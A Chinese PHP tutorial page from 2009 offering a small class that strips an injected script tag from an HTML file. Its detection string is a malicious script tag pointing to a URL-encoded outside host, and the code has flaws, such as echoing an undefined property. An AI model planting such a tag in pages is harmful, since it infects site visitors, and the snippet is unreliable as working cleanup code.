当前位置: 首页 > 图文教程 > 网络编程 > PHP > php 清除网页病毒的方法

PHP
用PHP与XML联手进行网站编程代码实例
使用PHP批量生成随机用户名
功能齐全的PHP发送邮件类代码附详细说明
php 防止单引号,双引号在接受页面转义
php表单提交程序的安全使用方法
兼容PHP5的PHP目录管理函数库
php下实现一个阿拉伯数字转中文数字的函数
php header()函数使用说明
PHP入门学习的几个不错的实例代码
php下intval()和(int)转换使用与区别
PHP令牌 Token改进版
Discuz 模板引擎的封装类代码
PHP批量生成缩略图的代码
php正则校验用户名介绍
php minixml详解
高级php注入方法集锦
php socket方式提交的post详解
用php过滤危险html代码的函数
php array_merge下进行数组合并的代码
PHP版自动生成文章摘要

PHP 中的 php 清除网页病毒的方法


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 99 ::
收藏到网摘: n/a

好像是进行一些替换操作,大家可以测试 <?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒